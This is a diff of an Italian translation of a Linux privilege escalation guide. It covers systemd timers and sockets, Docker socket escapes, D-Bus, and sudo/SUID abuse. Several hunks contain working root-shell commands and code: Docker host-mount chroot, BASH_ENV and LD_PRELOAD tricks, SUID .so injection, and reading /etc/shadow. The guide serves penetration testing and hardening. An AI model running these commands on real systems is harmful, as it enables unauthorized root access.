eseguire l'azione vulnerabile (**Avvia**, **Ferma**, **Ricarica**), la tua **backdoor verrà eseguita** (gli utenti non privilegiati di solito non possono avviare/fermare i servizi ma verifica se puoi usare `sudo -l`). +Poi, crea un **executable** con lo **stesso nome del relativo binary del path** dentro la cartella PATH di systemd a cui puoi scrivere, e quando il servizio è chiamato a eseguire l'azione vulnerabile (**Start**, **Stop**, **Reload**) la tua **backdoor** verrà eseguita (gli utenti non privilegiati di solito non possono avviare/fermare i servizi ma verifica se puoi usare `sudo -l`). -Per saperne di più sui servizi consulta `man systemd.service`. +**Per saperne di più sui servizi usa `man systemd.service`.** -## **Timer** +## **Timers** -**Timer** sono file di unità di systemd il cui nome termina in `**.timer**` che controllano file o eventi `**.service**`. I **Timer** possono essere usati come alternativa a cron poiché offrono supporto integrato per eventi basati su calendario e per eventi a tempo monotono e possono essere eseguiti in modo asincrono. +**Timers** sono file di unità systemd il cui nome termina in `**.timer**` che controllano file o eventi `**.service**`. I **Timers** possono essere usati come alternativa a cron in quanto hanno supporto integrato per eventi basati sul calendario e per eventi a tempo monotono e possono essere eseguiti in modo asincrono. -Puoi elencare tutti i timer con: +Puoi enumerare tutti i timers con: ```bash systemctl list-timers --all ``` ### Timer scrivibili -Se puoi modificare un timer, puoi farlo eseguire alcune systemd.unit esistenti (come una `.service` o una `.target`). +Se puoi modificare un timer, puoi far sì che esegua alcune unità esistenti di systemd.unit (come una `.service` o una `.target`) ```bash Unit=backdoor.service ``` -> L'unità da attivare quando questo timer scade. L'argomento è un nome di unità, il cui suffisso non è ".timer". Se non specificato, questo valore predefinito è un service che ha lo stesso nome dell'unità timer, eccetto il suffisso. (Vedi sopra.) Si consiglia che il nome dell'unità che viene attivata e il nome dell'unità timer siano identici, fatta eccezione per il suffisso. +> L'unità da attivare quando questo timer scade. L'argomento è un nome di unità, il cui suffisso non è ".timer". Se non specificato, questo valore predefinito corrisponde a un service che ha lo stesso nome dell'unità timer, salvo il suffisso. (Vedi sopra.) Si raccomanda che il nome dell'unità che viene attivata e il nome dell'unità timer siano identici, ad eccezione del suffisso. Pertanto, per abusare di questa autorizzazione dovresti: -- Trovare qualche unità systemd (come una `.service`) che stia eseguendo un **writable binary** -- Trovare qualche unità systemd che stia **executing a relative path** e sulla quale hai i **writable privileges** sulla **systemd PATH** (per impersonare quell'eseguibile) +- Trova qualche unità systemd (come una `.service`) che sta **eseguendo un binario scrivibile** +- Trova qualche unità systemd che sta **eseguendo un percorso relativo** e su cui hai **privilegi di scrittura** sulla **systemd PATH** (per impersonare quell'eseguibile) -**Per saperne di più sui timer usa `man systemd.timer`.** +**Learn more about timers with `man systemd.timer`.** ### **Abilitare il timer** -Per abilitare un timer sono necessari privilegi root ed eseguire: +Per abilitare un timer sono necessari privilegi di root e l'esecuzione di: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. @@ -463,26 +463,26 @@ Nota che il **timer** viene **attivato** creando un symlink verso di esso in `/e ## Sockets -Unix Domain Sockets (UDS) consentono la **comunicazione tra processi** sulla stessa macchina o su macchine diverse all'interno di modelli client-server. Utilizzano i normali file descriptor Unix per la comunicazione inter-computer e vengono configurati tramite file `.socket`. +Unix Domain Sockets (UDS) consentono la **comunicazione tra processi** sulla stessa macchina o su macchine diverse all'interno di modelli client-server. Usano file descrittori Unix standard per la comunicazione inter-computer e vengono configurati tramite file `.socket`. -Sockets can be configured using `.socket` files. +I socket possono essere configurati usando file `.socket`. -**Learn more about sockets with `man systemd.socket`.** All'interno di questo file si possono configurare diversi parametri interessanti: +**Per saperne di più sui socket usa `man systemd.socket`.** All'interno di questo file è possibile configurare diversi parametri interessanti: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Queste opzioni sono differenti ma, in sintesi, servono a **indicare dove il socket ascolterà** (il percorso del file socket AF_UNIX, l'indirizzo IPv4/6 e/o il numero di porta da ascoltare, ecc.) -- `Accept`: Accetta un argomento booleano. Se **true**, viene **avviata un'istanza di service per ogni connessione in ingresso** e solo il socket di connessione le viene passato. Se **false**, tutti i socket di ascolto vengono **passati all'unità di service avviata**, e viene generata una sola unità di service per tutte le connessioni. Questo valore è ignorato per datagram sockets e FIFO, dove una singola unità di service gestisce incondizionatamente tutto il traffico in ingresso. **Di default è false**. Per ragioni di performance, è raccomandato scrivere nuovi daemon in modo compatibile con `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Accettano una o più linee di comando, che vengono **eseguite prima** o **dopo** che i socket/FIFO di ascolto siano **creati** e associati, rispettivamente. Il primo token della riga di comando deve essere un nome file assoluto, seguito dagli argomenti per il processo. -- `ExecStopPre`, `ExecStopPost`: Comandi aggiuntivi che vengono **eseguiti prima** o **dopo** che i socket/FIFO di ascolto siano **chiusi** e rimossi, rispettivamente. -- `Service`: Specifica il nome dell'unità di **service** da **attivare** sul traffico in ingresso. Questa impostazione è consentita solo per socket con Accept=no. Di default punta al service che porta lo stesso nome del socket (con il suffisso sostituito). Nella maggior parte dei casi non è necessario usare questa opzione. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Queste opzioni sono diverse ma, in sintesi, servono a **indicare dove il socket ascolterà** (il percorso del file socket AF_UNIX, l'IPv4/6 e/o il numero di porta da ascoltare, ecc.) +- `Accept`: Accetta un argomento booleano. Se `true`, viene **generata un'istanza del service per ogni connessione in ingresso** e solo il socket della connessione le viene passato. Se `false`, tutti i socket di ascolto vengono **passati all'unità di servizio avviata**, e viene avviata una sola unità di servizio per tutte le connessioni. Questo valore è ignorato per datagram sockets e FIFO dove una singola unità di servizio gestisce incondizionatamente tutto il traffico in ingresso. **Di default è false**. Per ragioni di performance, si raccomanda di scrivere nuovi daemon in modo compatibile con `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Accettano una o più righe di comando, che vengono **eseguite prima** o **dopo** che i **socket**/FIFO di ascolto siano rispettivamente **creati** e collegati. Il primo token della riga di comando deve essere un nome file assoluto, seguito dagli argomenti per il processo. +- `ExecStopPre`, `ExecStopPost`: Comandi aggiuntivi che vengono **eseguiti prima** o **dopo** che i **socket**/FIFO di ascolto siano rispettivamente **chiusi** e rimossi. +- `Service`: Specifica il nome dell'unità **service** da **attivare** al verificarsi di **traffico in ingresso**. Questa impostazione è consentita solo per socket con Accept=no. Di default usa il service che ha lo stesso nome del socket (con il suffisso sostituito). Nella maggior parte dei casi non è necessario usare questa opzione. ### Writable .socket files -Se trovi un file `.socket` **scrivibile** puoi **aggiungere** all'inizio della sezione `[Socket]` qualcosa del tipo: `ExecStartPre=/home/kali/sys/backdoor` e il backdoor verrà eseguito prima che il socket venga creato. Di conseguenza, **probabilmente dovrai aspettare che la macchina venga riavviata.**\ -_Nota che il sistema deve effettivamente usare quella configurazione del file socket o il backdoor non verrà eseguito_ +Se trovi un file `.socket` **scrivibile** puoi **aggiungere**, all'inizio della sezione `[Socket]`, qualcosa come: `ExecStartPre=/home/kali/sys/backdoor` e il backdoor verrà eseguito prima che il socket sia creato. Di conseguenza, **probabilmente dovrai aspettare il riavvio della macchina.**\ +_Nota che il sistema deve effettivamente usare quella configurazione di file socket o il backdoor non verrà eseguito_ ### Writable sockets -Se identifichi qualsiasi socket **scrivibile** (_ora stiamo parlando di Unix Sockets e non dei file di configurazione `.socket`_), allora **puoi comunicare** con quel socket e magari sfruttare una vulnerabilità. +Se **identifichi un socket scrivibile** (_ora stiamo parlando dei Unix Sockets e non dei file di configurazione `.socket`_), allora **puoi comunicare** con quel socket e magari sfruttare una vulnerabilità. ### Enumerate Unix Sockets ```bash @@ -497,7 +497,7 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` -**Exploitation example:** +**Esempio di sfruttamento:** {{#ref}} @@ -506,15 +506,15 @@ socket-command-injection.md ### HTTP sockets -Tieni presente che potrebbero esserci alcuni **sockets listening for HTTP** requests (_non sto parlando dei file .socket ma dei file che fungono da unix sockets_). Puoi verificarlo con: +Nota che potrebbero esserci dei **sockets in ascolto per richieste HTTP** (_non sto parlando dei file .socket ma dei file che fungono da unix sockets_). Puoi verificarlo con: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Se la socket **risponde a una richiesta HTTP**, allora puoi **comunicare** con essa e magari **sfruttare qualche vulnerabilità**. +Se il socket **risponde a una richiesta HTTP**, allora puoi **comunicare** con esso e magari **exploit qualche vulnerabilità**. ### Docker socket scrivibile -Il Docker socket, spesso presente in `/var/run/docker.sock`, è un file critico che dovrebbe essere messo in sicurezza. Per impostazione predefinita è scrivibile dall'utente `root` e dai membri del gruppo `docker`. Possedere accesso in scrittura a questa socket può portare a privilege escalation. Di seguito una panoramica su come ciò può essere fatto e metodi alternativi se il Docker CLI non è disponibile. +Il Docker socket, spesso presente in `/var/run/docker.sock`, è un file critico che dovrebbe essere protetto. Per impostazione predefinita, è scrivibile dall'utente `root` e dai membri del gruppo `docker`. Avere accesso in scrittura a questo socket può portare a privilege escalation. Ecco una panoramica di come ciò può essere fatto e metodi alternativi se il Docker CLI non è disponibile. #### **Privilege Escalation with Docker CLI** @@ -523,11 +523,11 @@ Se hai accesso in scrittura al Docker socket, puoi escalate privileges usando i docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Questi comandi permettono di eseguire un container con accesso root al file system dell'host. +Questi comandi ti permettono di eseguire un container con accesso root al file system dell'host. #### **Usare direttamente la Docker API** -Nei casi in cui la Docker CLI non è disponibile, il Docker socket può comunque essere manipolato usando la Docker API e comandi `curl`. +Nei casi in cui il Docker CLI non è disponibile, il docker socket può comunque essere manipolato usando la Docker API e comandi `curl`. 1. **List Docker Images:** Recupera la lista delle immagini disponibili. @@ -547,7 +547,7 @@ Avvia il container appena creato: curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** Collegati al container: usa `socat` per stabilire una connessione al container, permettendo l'esecuzione di comandi al suo interno. +3. **Attach to the Container:** Usa `socat` per stabilire una connessione al container, abilitando l'esecuzione di comandi al suo interno. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -561,9 +561,9 @@ Dopo aver stabilito la connessione con `socat`, puoi eseguire comandi direttamen ### Altri -Nota che se hai permessi di scrittura sul docker socket perché sei **dentro il gruppo `docker`** hai [**più modi per elevare i privilegi**](interesting-groups-linux-pe/index.html#docker-group). Se la [**docker API è in ascolto su una porta** puoi anche essere in grado di comprometterla](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Nota che se hai permessi di scrittura sul docker socket perché sei **inside the group `docker`** hai [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Se la [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Controlla **altri modi per evadere da Docker o abusarne per elevare i privilegi** in: +Controlla **more ways to break out from docker or abuse it to escalate privileges** in: {{#ref}} @@ -572,7 +572,7 @@ docker-security/ ## Containerd (ctr) privilege escalation -Se scopri di poter usare il comando **`ctr`** leggi la pagina seguente perché **potresti essere in grado di abusarne per elevare i privilegi**: +If you find that you can use the **`ctr`** command read the following page as **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -581,7 +581,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** privilege escalation -Se scopri di poter usare il comando **`runc`** leggi la pagina seguente perché **potresti essere in grado di abusarne per elevare i privilegi**: +If you find that you can use the **`runc`** command read the following page as **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -590,15 +590,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus è un sofisticato sistema di comunicazione tra processi (IPC) che permette alle applicazioni di interagire e condividere dati in modo efficiente. Progettato per i moderni sistemi Linux, offre un framework robusto per diverse forme di comunicazione tra applicazioni. +D-Bus è un sofisticato sistema di inter-Process Communication (IPC) che permette alle applicazioni di interagire e condividere dati in modo efficiente. Progettato per i sistemi Linux moderni, fornisce un framework robusto per diverse forme di comunicazione tra applicazioni. -Il sistema è versatile, supportando IPC di base che facilita lo scambio di dati tra processi, simile a socket di dominio UNIX potenziati. Inoltre, aiuta nella trasmissione di eventi o segnali, favorendo un'integrazione fluida tra i componenti di sistema. Per esempio, un segnale da un daemon Bluetooth relativo a una chiamata in arrivo può indurre un lettore musicale a silenziarsi, migliorando l'esperienza utente. Inoltre, D-Bus supporta un sistema di oggetti remoti, semplificando le richieste di servizio e le invocazioni di metodi tra applicazioni, snellendo processi che erano tradizionalmente complessi. +Il sistema è versatile, supportando IPC di base che migliora lo scambio di dati tra processi, in modo simile a socket di dominio UNIX avanzati. Inoltre, facilita la trasmissione di eventi o segnali, favorendo l'integrazione tra i componenti di sistema. Ad esempio, un segnale da un demone Bluetooth riguardo a una chiamata in arrivo può indurre un lettore musicale a silenziarsi, migliorando l'esperienza utente. D-Bus supporta anche un sistema di oggetti remoti, semplificando le richieste di servizio e le invocazioni di metodi tra applicazioni, snellendo processi che tradizionalmente erano complessi. -D-Bus opera su un modello allow/deny, gestendo i permessi dei messaggi (chiamate di metodo, emissione di segnali, ecc.) basandosi sull'effetto cumulativo delle regole di policy corrispondenti. Queste policy specificano le interazioni con il bus, potenzialmente permettendo escalation di privilegi tramite lo sfruttamento di tali permessi. +D-Bus opera su un modello di tipo allow/deny, gestendo i permessi dei messaggi (chiamate di metodo, emissione di segnali, ecc.) basandosi sull'effetto cumulativo delle regole di policy corrispondenti. Queste policy specificano le interazioni con il bus, potenzialmente permettendo escalation di privilegi tramite lo sfruttamento di tali permessi. -Un esempio di una tale policy in `/etc/dbus-1/system.d/wpa_supplicant.conf` è fornito, dettagliante i permessi per l'utente root di possedere, inviare e ricevere messaggi da `fi.w1.wpa_supplicant1`. +Un esempio di tale policy in `/etc/dbus-1/system.d/wpa_supplicant.conf` è fornito, che dettaglia i permessi per l'utente root di possedere, inviare e ricevere messaggi da `fi.w1.wpa_supplicant1`. -Le policy senza un utente o gruppo specificato si applicano universalmente, mentre le policy nel contesto "default" si applicano a tutti quelli non coperti da altre policy specifiche. +Le policy senza un utente o gruppo specificato si applicano universalmente, mentre le policy con contesto "default" si applicano a tutti quelli non coperti da altre policy specifiche. ```xml @@ -607,7 +607,7 @@ Le policy senza un utente o gruppo specificato si applicano universalmente, ment ``` -**Scopri come enumerare e sfruttare una comunicazione D-Bus qui:** +**Impara come enumerare e sfruttare una comunicazione D-Bus qui:** {{#ref}} @@ -616,7 +616,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Rete** -È sempre interessante enumerare la rete e capire la posizione della macchina. +È sempre interessante enumerare la rete e determinare la posizione della macchina. ### Enumerazione generica ```bash @@ -650,15 +650,15 @@ Controlla sempre i servizi di rete in esecuzione sulla macchina con cui non sei ``` ### Sniffing -Verifica se puoi sniff traffic. Se ci riesci, potresti riuscire a ottenere alcune credenziali. +Verifica se puoi effettuare sniffing del traffico. Se ci riesci, potresti recuperare alcune credenziali. ``` timeout 1 tcpdump ``` ## Utenti -### Enumerazione generica +### Enumerazione Generica -Controlla **chi** sei, quali **privilegi** hai, quali **users** sono nei sistemi, quali possono effettuare il **login** e quali hanno **privilegi di root:** +Verifica **chi** sei, quali **privilegi** hai, quali **utenti** sono nei sistemi, quali possono effettuare il **login** e quali hanno **privilegi di root**: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -682,7 +682,7 @@ gpg --list-keys 2>/dev/null ``` ### Big UID -Alcune versioni di Linux sono state interessate da un bug che permette agli utenti con **UID > INT_MAX** di scalare i privilegi. More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +Alcune versioni di Linux sono state affette da un bug che permette agli utenti con **UID > INT_MAX** di scalare i privilegi. Maggiori info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ **Sfruttalo** usando: **`systemd-run -t /bin/bash`** ### Gruppi @@ -707,33 +707,33 @@ echo "Highlighted text: "`xsel -o 2>/dev/null` else echo "Not found xsel and xclip" fi ``` -### Politica delle password +### Politica Password ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` ### Password conosciute -Se **conosci qualche password** dell'ambiente **prova a effettuare il login come ogni utente** usando la password. +Se **conosci una password** dell'ambiente **prova a effettuare il login come ogni utente** usando quella password. ### Su Brute -Se non ti dispiace fare molto rumore e i binari `su` e `timeout` sono presenti sul computer, puoi provare a brute-force gli utenti usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) con il parametro `-a` prova anch'esso a brute-force gli utenti. +Se non ti dispiace generare molto rumore e i binari `su` e `timeout` sono presenti sul computer, puoi provare a brute-force gli utenti usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) con il parametro `-a` prova anche a brute-force gli utenti. ## Abusi del PATH scrivibile ### $PATH -Se scopri di poter **scrivere in qualche cartella del $PATH** potresti essere in grado di scalare privilegi creando una backdoor dentro la cartella scrivibile con il nome di un comando che verrà eseguito da un utente diverso (idealmente root) e che **non venga caricato da una cartella posizionata prima** della tua cartella scrivibile nel $PATH. +Se scopri di poter **scrivere in una cartella del $PATH** potresti riuscire a elevare i privilegi creando una **backdoor nella cartella scrivibile** con il nome di un comando che verrà eseguito da un altro utente (idealmente root) e che **non viene caricato da una cartella posta prima** della tua cartella scrivibile nel $PATH. -### SUDO e SUID +### SUDO and SUID -Potresti essere autorizzato a eseguire alcuni comandi usando sudo oppure potrebbero avere il bit suid. Controllalo usando: +Potresti essere autorizzato a eseguire alcuni comandi usando sudo o potrebbero avere il suid bit. Verificalo usando: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Alcuni **comandi inaspettati consentono di leggere e/o scrivere file o persino eseguire un comando.** Ad esempio: +Alcuni **comandi inaspettati permettono di leggere e/o scrivere file o addirittura eseguire un comando.** Ad esempio: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -744,13 +744,13 @@ less>! ``` ### NOPASSWD -La configurazione di Sudo potrebbe permettere a un utente di eseguire un comando con i privilegi di un altro utente senza conoscere la password. +La configurazione di Sudo potrebbe permettere a un utente di eseguire alcuni comandi con i privilegi di un altro utente senza conoscere la password. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -In questo esempio l'utente `demo` può eseguire `vim` come `root`; è quindi banale ottenere una shell aggiungendo una ssh key nella root directory o invocando `sh`. +In questo esempio l'utente `demo` può eseguire `vim` come `root`; ora è banale ottenere una shell aggiungendo una chiave `ssh` nella directory `root` o eseguendo `sh`. ``` sudo vim -c '!sh' ``` @@ -762,13 +762,38 @@ $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Questo esempio, **basato sulla macchina HTB Admirer**, era **vulnerabile** a **PYTHONPATH hijacking** per caricare una libreria python arbitraria durante l'esecuzione dello script come root: +Questo esempio, **basato su HTB machine Admirer**, era **vulnerabile** a **PYTHONPATH hijacking** per caricare una libreria python arbitraria mentre lo script veniva eseguito come root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### Bypass dei percorsi di esecuzione di sudo +### BASH_ENV preserved via sudo env_keep → root shell -**Jump** per leggere altri file o usare **symlinks**. Ad esempio nel file sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ +Se sudoers preserva `BASH_ENV` (es. `Defaults env_keep+="ENV BASH_ENV"`), puoi sfruttare il comportamento di avvio non interattivo di Bash per eseguire codice arbitrario come root quando invochi un comando consentito. + +- Why it works: Per le shell non interattive, Bash valuta `$BASH_ENV` e include quel file (sourcing) prima di eseguire lo script target. Molte regole sudo permettono di eseguire uno script o un wrapper di shell. Se `BASH_ENV` è preservato da sudo, il tuo file viene eseguito con privilegi di root. + +- Requirements: +- Una regola sudo che puoi eseguire (qualsiasi target che invochi `/bin/bash` in modo non interattivo, o qualsiasi bash script). +- `BASH_ENV` presente in `env_keep` (controlla con `sudo -l`). + +- PoC: +```bash +cat > /dev/shm/shell.sh <<'EOF' +#!/bin/bash +/bin/bash +EOF +chmod +x /dev/shm/shell.sh +BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash +# You should now have a root shell +``` +- Rafforzamento: +- Rimuovere `BASH_ENV` (e `ENV`) da `env_keep`, preferire `env_reset`. +- Evitare wrapper di shell per i comandi consentiti da sudo; usare binari minimi. +- Considerare il logging I/O di sudo e gli avvisi quando vengono usate variabili d'ambiente preservate. + +### Percorsi per bypassare l'esecuzione con sudo + +**Salta** per leggere altri file o usa **symlinks**. Ad esempio nel file sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -778,46 +803,46 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -Se viene usata una **wildcard** (\*), è ancora più facile: +Se si usa un **wildcard** (\*), è ancora più facile: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` **Contromisure**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary senza percorso del comando +### Sudo command/SUID binary without command path -Se il permesso **sudo permission** è concesso per un singolo comando **senza specificare il percorso**: _hacker10 ALL= (root) less_ puoi sfruttarlo cambiando la variabile PATH +Se la **sudo permission** è concessa per un singolo comando **senza specificare il path**: _hacker10 ALL= (root) less_ puoi sfruttarlo modificando la variabile PATH ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Questa tecnica può essere usata anche se un **suid** binary **esegue un altro comando senza specificarne il percorso (controlla sempre con** _**strings**_ **il contenuto di un file SUID sospetto)**. +Questa tecnica può anche essere usata se un binario **suid** **esegue un altro comando senza specificarne il percorso (controlla sempre con** _**strings**_ **il contenuto di un binario SUID sospetto)**). [Payload examples to execute.](payloads-to-execute.md) -### SUID binary con percorso del comando +### Binario SUID con percorso del comando -Se il file **suid** **esegue un altro comando specificando il percorso**, allora puoi provare a **esportare una funzione** con il nome del comando che il file suid sta richiamando. +Se il binario **suid** esegue un altro comando specificando il percorso, puoi provare a esportare una funzione chiamata come il comando che il file suid sta invocando. -Per esempio, se un file suid invoca _**/usr/sbin/service apache2 start**_, devi provare a creare la funzione ed esportarla: +Per esempio, se un binario suid chiama _**/usr/sbin/service apache2 start**_ devi provare a creare la funzione ed esportarla: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Quindi, quando esegui lo suid binary, questa funzione verrà eseguita +Quindi, quando esegui il suid binary, questa funzione verrà eseguita ### LD_PRELOAD & **LD_LIBRARY_PATH** -La variabile d'ambiente **LD_PRELOAD** viene usata per specificare una o più librerie condivise (.so files) da caricare dal loader prima di tutte le altre, inclusa la libreria C standard (`libc.so`). Questo processo è noto come preloading di una libreria. +La variabile d'ambiente **LD_PRELOAD** viene utilizzata per specificare una o più shared libraries (.so files) da caricare dal loader prima di tutte le altre, inclusa la standard C library (`libc.so`). Questo processo è noto come preloading di una library. -Tuttavia, per mantenere la sicurezza del sistema e prevenire lo sfruttamento di questa funzionalità, in particolare con gli eseguibili **suid/sgid**, il sistema applica alcune condizioni: +Tuttavia, per mantenere la sicurezza del sistema e prevenire che questa funzionalità venga sfruttata, in particolare con eseguibili **suid/sgid**, il sistema impone certe condizioni: -- Il loader ignora **LD_PRELOAD** per gli eseguibili in cui il real user ID (_ruid_) non corrisponde all'effective user ID (_euid_). -- Per gli eseguibili con suid/sgid, vengono caricate in anticipo solo le librerie presenti in percorsi standard che sono anch'esse suid/sgid. +- Il loader ignora **LD_PRELOAD** per gli eseguibili in cui il real user ID (_ruid_) non coincide con l'effective user ID (_euid_). +- Per gli eseguibili con suid/sgid, vengono precaricate solo le librerie in percorsi standard che sono anch'esse suid/sgid. -L'escalation di privilegi può verificarsi se hai la possibilità di eseguire comandi con `sudo` e l'output di `sudo -l` include l'istruzione **env_keep+=LD_PRELOAD**. Questa configurazione permette alla variabile d'ambiente **LD_PRELOAD** di persistere ed essere riconosciuta anche quando i comandi vengono eseguiti con `sudo`, potenzialmente portando all'esecuzione di codice arbitrario con privilegi elevati. +L'escalation dei privilegi può verificarsi se hai la possibilità di eseguire comandi con `sudo` e l'output di `sudo -l` include la dicitura **env_keep+=LD_PRELOAD**. Questa configurazione consente alla variabile d'ambiente **LD_PRELOAD** di persistere ed essere riconosciuta anche quando i comandi vengono eseguiti con `sudo`, potenzialmente portando all'esecuzione di codice arbitrario con privilegi elevati. ``` Defaults env_keep += LD_PRELOAD ``` @@ -844,7 +869,7 @@ Infine, **escalate privileges** eseguendo sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Una privesc simile può essere sfruttata se l'attacker controlla la env variable **LD_LIBRARY_PATH** perché controlla il percorso in cui verranno cercate le librerie. +> Un privesc simile può essere sfruttato se l'attaccante controlla la variabile d'ambiente **LD_LIBRARY_PATH** perché controlla il percorso in cui verranno cercate le librerie. ```c #include #include @@ -866,13 +891,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Quando si incontra un binary con permessi **SUID** che sembra insolito, è buona pratica verificare se sta caricando correttamente i file **.so**. Questo può essere verificato eseguendo il seguente comando: +Quando ci si imbatte in un binary con permessi **SUID** che sembra insolito, è buona pratica verificare se sta caricando correttamente i file **.so**. Questo può essere verificato eseguendo il seguente comando: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Ad esempio, imbattersi in un errore come _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ suggerisce un potenziale per lo sfruttamento. +Ad esempio, incontrare un errore come _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ suggerisce un potenziale per exploitation. -Per sfruttarlo, si procede creando un file C, ad esempio _"/path/to/.config/libcalc.c"_, contenente il seguente codice: +Per exploit, si procederebbe creando un file C, ad esempio _"/path/to/.config/libcalc.c"_, contenente il seguente codice: ```c #include #include @@ -883,13 +908,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Questo codice, una volta compilato ed eseguito, mira ad elevare i privilegi manipolando i permessi dei file ed eseguendo una shell con privilegi elevati. +Questo codice, una volta compilato ed eseguito, mira a elevare i privilegi manipolando i permessi dei file ed eseguendo una shell con privilegi elevati. -Compila il file C sopra in un shared object (.so) con: +Compila il file C sopra in un file oggetto condiviso (.so) con: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Infine, l'esecuzione del binario SUID interessato dovrebbe attivare l'exploit, consentendo un potenziale compromesso del sistema. +Infine, l'esecuzione del binario SUID interessato dovrebbe innescare l'exploit, consentendo un potenziale compromesso del sistema. ## Shared Object Hijacking ```bash @@ -901,7 +926,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Ora che abbiamo trovato un SUID binary che carica una library da una cartella in cui possiamo scrivere, creiamo la library in quella cartella con il nome necessario: +Ora che abbiamo trovato un binario SUID che carica una libreria da una cartella in cui possiamo scrivere, creiamo la libreria in quella cartella con il nome necessario: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -918,13 +943,13 @@ Se ricevi un errore come ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -that means that the library you have generated need to have a function called `a_function_name`. +ciò significa che la libreria che hai generato deve avere una funzione chiamata `a_function_name`. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) è una lista curata di binari Unix che possono essere sfruttati da un attaccante per bypassare le restrizioni di sicurezza locali. [**GTFOArgs**](https://gtfoargs.github.io/) è lo stesso ma per i casi in cui puoi **solo injectare argomenti** in un comando. +[**GTFOBins**](https://gtfobins.github.io) è una lista curata di binari Unix che possono essere sfruttati da un attaccante per bypassare le restrizioni di sicurezza locali. [**GTFOArgs**](https://gtfoargs.github.io/) è lo stesso ma per i casi in cui puoi **inserire solo argomenti** in un comando. -Il progetto raccoglie funzioni legittime dei binari Unix che possono essere abusate per break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, e facilitare altre attività di post-exploitation. +Il progetto raccoglie funzioni legittime di binari Unix che possono essere abusate per evadere shell ristrette, scalare o mantenere privilegi elevati, trasferire file, avviare bind e reverse shells, e facilitare altri compiti di post-exploitation. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql 